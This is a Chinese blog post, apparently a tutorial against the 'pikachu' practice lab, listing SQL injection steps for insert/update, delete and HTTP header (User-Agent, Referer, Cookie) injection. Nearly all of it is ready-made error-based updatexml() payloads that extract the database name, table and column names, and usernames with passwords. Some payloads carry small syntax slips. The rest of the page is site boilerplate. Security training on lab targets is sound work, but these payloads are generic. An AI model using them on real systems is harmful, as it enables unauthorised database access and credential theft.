SQL注入之常见注入的步骤③

sql注入之常见注入的操作步骤

insert/update 注入 (俩种方法注入相同)

update注入 (在修改信息的时候,后台就是通过update去找操作的)

insert注入(insert 注入是指我们前端注册的信息,后台就是通过
insert这个操作插入到数据库中)

①在注册信息处抓包

②insert判断注入:单引号报错 存在注入,报错信息为’1234’),'1’1’1’1)

③基于报错信息进行注入,构造payload
爆数据库:1234’ or updatexml(1,concat(0x7e,(select database()),0x7e),1)or’

④爆数据表:1234’ or updatexml(1,concat(0x7e(select table_name from information_schema.tables where table_schema=‘pikachu’),0x7e),1)or’

⑤爆数据列:1234’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1),0x7e),1)or’

⑥爆用户名密码:1234’ or updatexml(1,concat(0x7e,(select concat (username,0x7e,password)from users limit 0,1),0x7e),1)or’

delete注入(可以用于删除数据的地方)

①判断注入:单引号报错存在注入

②爆数据库:56 or updatexml(1,concat(0x7e,(select database()),0x7e),1)

③爆数据表:56 or updatexml(1,concat(0x7e,(select table_name information_schema.tables where table_schema=‘pikachu’ limit 0,1),0x7e),1)or’

④爆数据列:56 or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1),0x7e),1)

⑤爆用户名密码字段:56 or updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)

http头部注入(常见的头部注入有:User-Agent , Referer,Cookie,X-forward-for)

①判断注入:登入后抓包修改User-Agent为单引号报错

②爆数据库:'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or ’

③报数据表:’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1),0x7e),1) or ’

④爆数据列:’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1),0x7e),1) or’

⑤爆用户名密码字段:1234’ or updatexml(1,concat(0x7e,(select concat(username,0x7e,password)from users limit 0,1),0x7e),1) or’

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值